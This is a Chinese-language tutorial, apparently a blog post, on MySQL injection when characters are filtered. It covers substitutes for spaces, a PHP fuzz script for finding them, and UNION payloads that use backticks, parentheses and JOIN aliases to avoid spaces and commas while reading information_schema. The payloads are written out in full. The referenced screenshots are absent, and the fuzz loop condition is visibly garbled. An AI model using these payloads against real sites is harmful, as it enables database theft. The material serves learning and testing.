對于mysql的注入,基本上是每一名web安全從業者入門的基本功,這里不多廢話,結合本人無聊時在mysql上的測試,來談一談mysql在過濾某些特殊字符情況下的注入,因為是想到哪寫到哪,文章比較散,各位大佬請繞過,和我一樣的小白可以看一看,溫故而知新,必有所獲。
php查詢mysql的后臺腳本就不搭了,沒有多大意義,直接從mysql控制臺開始測試。首先從最簡單的開始:
直接使用mysql系統庫做測試:

我們假設在user后存在注入點:那么在利用order by獲得列數后進行union注入:

現在開始增加難度,假設后端代碼過濾了空格,我們可以替換空格的方法很多:/**/,0x0a,0x0b,0x0c,0x0d:

上圖使用/**/替換空格

上圖使用0x0a號字符替換空格,注意:按住alt鍵+小鍵盤輸入10再松開alt鍵即可在控制臺中輸入ascii字符0x0a

上圖使用0x0b號字符替換空格,注意:按住alt鍵+小鍵盤輸入11再松開alt鍵即可在控制臺中輸入ascii字符0x0b

上圖使用0x0c號字符替換空格,注意:按住alt鍵+小鍵盤輸入12再松開alt鍵即可在控制臺中輸入ascii字符0x0c

上圖使用0x0d號字符替換空格,注意:按住alt鍵+小鍵盤輸入13再松開alt鍵即可在控制臺中輸入ascii字符0x0d,但因為在控制臺中一旦輸入0x0d,就會執行指令,所以這里只在union前輸入了一次。
做到這里我們可能會想,除了這些字符外還有沒有其它字符可以替換空格呢,我們fuzz一下:
$mysqli = new mysqli('localhost', 'root', '', 'mysql');
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$i=0;
while($i++256){
$sql = "select host,user from user where user='a'".chr($i)."union".chr($i)."select 1,2;";
$res = $mysqli->query($sql);
if ($res) {
echo "Ok!:$i:".chr($i)."
";
}
}
$mysqli->close();
?>
將以上代碼存為1.php,放入apache中網頁訪問,顯示結果:

可以發現,除了我們剛剛使用的0x0a,0x0b,0x0c,0x0d外還有9號與160號字符可以替換空格(32號本身就是空格,35是注釋符不能查詢獲得正確結果,9號是tab,剛剛漏了,至于160號字符為什么行,我也不知道,那位哥如果知道可以告訴大家)。
進一步思考:如果這些字符都被過濾了,有沒有辦法不依靠空格來注入呢,辦法還是有的,看下面的語句:

在這個語句中:
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
利用了括號、反引號來隔離了sql關鍵詞與庫名表名列名,完成了注入。
接下來繼續提高難度,我們的注入語句中有許多逗號,看了讓人不爽,如果把逗號也過濾掉,我們有沒有辦法注入呢,方法還是有的,我們可以結合join語句和子查詢的別名來替換逗號,看下面的語句:

在這個語句中,我們利用join與別名,成功的避免使用逗號實現了注入:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
|